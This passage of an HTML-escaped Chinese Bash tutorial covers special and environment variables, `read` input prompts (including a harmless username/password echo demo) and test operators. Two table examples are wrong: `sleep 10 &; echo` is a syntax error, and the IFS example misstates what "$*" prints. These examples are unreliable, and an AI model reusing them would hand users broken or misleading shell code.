&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;失败命令的退出状态: &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="s2"&gt; (非0表示失败)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 7. 用户和主机信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;当前用户: &lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;主机名: &lt;/span&gt;&lt;span class="nv"&gt;$HOSTNAME&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 8. 显示脚本当前行号（动态变化）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;当前行号（执行前）: &lt;/span&gt;&lt;span class="nv"&gt;$LINENO&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;当前行号（执行后）: &lt;/span&gt;&lt;span class="nv"&gt;$LINENO&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 9. 结束提示&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;脚本结束于行号: &lt;/span&gt;&lt;span class="nv"&gt;$LINENO&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516134013667" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516134013667.png"&gt;&lt;/p&gt;
&lt;h3 id="bash-特殊变量"&gt;&lt;strong&gt;Bash 特殊变量&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;变量名&lt;/th&gt;
 &lt;th style="text-align: center"&gt;作用&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例代码&lt;/th&gt;
 &lt;th style="text-align: center"&gt;输出示例（假设场景）&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$0&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前脚本文件名&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;脚本名: $0&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;脚本名: ./test.sh&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$1&lt;/code&gt;-&lt;code&gt;$9&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;脚本的第1到第9个参数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;参数1: $1&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;若执行 &lt;code&gt;./test.sh hi&lt;/code&gt; → &lt;code&gt;参数1: hi&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$#&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;传递给脚本的参数个数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;参数总数: $#&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;若执行 &lt;code&gt;./test.sh a b&lt;/code&gt; → &lt;code&gt;参数总数: 2&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$@&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;所有参数，每个参数独立（推荐使用）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;for arg in &amp;quot;$@&amp;quot;; do echo &amp;quot;$arg&amp;quot;; done&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;循环打印每个参数&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$*&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;所有参数，合并为一个字符串&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;所有参数: $*&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;所有参数: a b c&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$?&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;上一个命令的退出状态（0为成功）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;ls /tmp; echo &amp;quot;状态: $?&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;状态: 0&lt;/code&gt;（若目录存在）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$$&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前 Shell 进程的 PID&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;PID: $$&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;PID: 12345&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$!&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;最后一个后台进程的 PID&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;sleep 10 &amp;amp;; echo &amp;quot;后台PID: $!&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;后台PID: 6789&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$_&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;上一个命令的最后一个参数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;ls /var; echo &amp;quot;$_&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;/var&lt;/code&gt;（假设 &lt;code&gt;ls&lt;/code&gt; 命令的参数是 &lt;code&gt;/var&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$RANDOM&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;生成一个 0-32767 的随机数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;随机数: $RANDOM&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;随机数: 18492&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$LINENO&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前脚本中的行号&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;当前行: $LINENO&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;当前行: 15&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$FUNCNAME&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前函数名（数组，&lt;code&gt;${FUNCNAME[0]}&lt;/code&gt;为当前函数）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;function test_fn { echo &amp;quot;函数名: ${FUNCNAME[0]}&amp;quot;; }; test_fn&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;函数名: test_fn&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$SECONDS&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;脚本已运行的秒数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;运行时间: $SECONDS秒&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;运行时间: 5秒&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$PWD&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前工作目录路径&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;当前目录: $PWD&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;当前目录: /home/user&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$OLDPWD&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;上一个工作目录路径（&lt;code&gt;cd -&lt;/code&gt;切换时会更新）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;上一个目录: $OLDPWD&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;上一个目录: /tmp&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$IFS&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;输入字段分隔符（默认是空格、制表符、换行）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;IFS=:; echo &amp;quot;拆分: $*&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;若参数为 &lt;code&gt;a:b:c&lt;/code&gt; → &lt;code&gt;拆分: a b c&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$BASH_VERSION&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Bash 版本信息&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;Bash版本: $BASH_VERSION&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;Bash版本: 5.1.16(1)-release&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$PPID&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;父进程的 PID&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;父进程PID: $PPID&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;父进程PID: 1234&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$BASH_SOURCE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前脚本的路径（数组，&lt;code&gt;${BASH_SOURCE[0]}&lt;/code&gt;为当前脚本）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;脚本路径: ${BASH_SOURCE[0]}&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;脚本路径: ./test.sh&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="常用环境变量"&gt;&lt;strong&gt;常用环境变量&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;变量名&lt;/th&gt;
 &lt;th style="text-align: center"&gt;作用&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例代码&lt;/th&gt;
 &lt;th style="text-align: center"&gt;输出示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$USER&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前用户名&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;用户: $USER&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;用户: ubuntu&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$HOME&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前用户的主目录路径&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;主目录: $HOME&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;主目录: /home/user&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$PATH&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;可执行文件的搜索路径&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;PATH: $PATH&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;PATH: /usr/bin:/bin&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$SHELL&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前 Shell 的路径&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;Shell: $SHELL&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;Shell: /bin/bash&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$LANG&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;系统语言设置&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;语言: $LANG&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;语言: en_US.UTF-8&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$TERM&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;终端类型&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;终端类型: $TERM&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;终端类型: xterm-256color&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$EDITOR&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;默认文本编辑器&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;编辑器: $EDITOR&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;编辑器: vim&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$UID&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前用户的 UID&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;UID: $UID&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;UID: 1000&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$GROUPS&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前用户所属的组（数组）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;组: ${GROUPS[@]}&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;组: 1000 4 24&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$HOSTNAME&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;系统主机名&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;主机名: $HOSTNAME&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;主机名: myserver&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$OSTYPE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;操作系统类型&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;系统类型: $OSTYPE&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;系统类型: linux-gnu&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="用户输入"&gt;用户输入
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Hello there, would you like to learn how to hack: Y/N?&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; answer &lt;span class="c1"&gt;# 把用户输入存到answer变量中&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Your answer was &lt;/span&gt;&lt;span class="nv"&gt;$answer&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516134506136" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516134506136.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Prompt the user for credentials&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Penetration Testing with Kali Linux 2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# PWK 2.0 Copyright © Offensive Security Ltd. All rights reserved. 110&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s1"&gt;&amp;#39;Username: &amp;#39;&lt;/span&gt; username &lt;span class="c1"&gt;# 输出提示的同时将用户输入存入username变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -sp &lt;span class="s1"&gt;&amp;#39;Password: &amp;#39;&lt;/span&gt; password &lt;span class="c1"&gt;# 输出提示的同时将用户输入存入password变量，且不显示，用于密码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Thanks, your creds are as follows: &amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; and &amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516134819426" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516134819426.png"&gt;&lt;/p&gt;
&lt;h2 id="判断"&gt;判断
&lt;/h2&gt;&lt;h3 id="bash-条件测试操作符详解"&gt;&lt;strong&gt;Bash 条件测试操作符详解&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="逻辑操作符"&gt;&lt;strong&gt;逻辑操作符&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;操作符&lt;/th&gt;
 &lt;th style="text-align: center"&gt;描述&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;! EXPRESSION&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;对表达式取反（非）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if ! [ -e file ]&lt;/code&gt; → 文件不存在时条件为真&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="字符串比较"&gt;&lt;strong&gt;字符串比较&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;操作符&lt;/th&gt;
 &lt;th style="text-align: center"&gt;描述&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-n STRING&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;字符串长度大于零（非空）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -n &amp;quot;$name&amp;quot; ]&lt;/code&gt; → 检查变量 &lt;code&gt;name&lt;/code&gt; 是否非空&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-z STRING&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;字符串长度为零（空）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -z &amp;quot;$error&amp;quot; ]&lt;/code&gt; → 检查变量 &lt;code&gt;error&lt;/code&gt; 是否为空&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;STRING1 = STRING2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;字符串相等&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$os&amp;quot; = &amp;quot;Linux&amp;quot; ]&lt;/code&gt; → 判断系统是否为 Linux&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;STRING1 != STRING2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;字符串不相等&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$input&amp;quot; != &amp;quot;exit&amp;quot; ]&lt;/code&gt; → 输入不是 &amp;ldquo;exit&amp;rdquo; 时条件为真&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="整数比较"&gt;&lt;strong&gt;整数比较&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;操作符&lt;/th&gt;
 &lt;th style="text-align: center"&gt;描述&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -eq INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;等于（Equal）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$a&amp;quot; -eq 5 ]&lt;/code&gt; → 判断 &lt;code&gt;a&lt;/code&gt; 是否等于 5&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -ne INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;不等于（Not Equal）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$retry&amp;quot; -ne 0 ]&lt;/code&gt; → 重试次数不为 0&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -gt INT2&lt;/code&gt;&lt;/td&gt;
